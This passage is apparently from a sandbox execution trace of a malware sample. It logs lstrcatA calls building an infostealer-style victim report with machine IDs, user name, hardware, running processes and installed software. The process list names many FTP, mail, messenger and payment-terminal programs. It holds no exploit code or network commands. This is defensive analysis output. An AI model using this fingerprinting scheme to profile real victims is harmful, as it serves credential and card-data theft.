backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [", lpString2="16.0.4266.1001" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001"
[0054.968] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]"
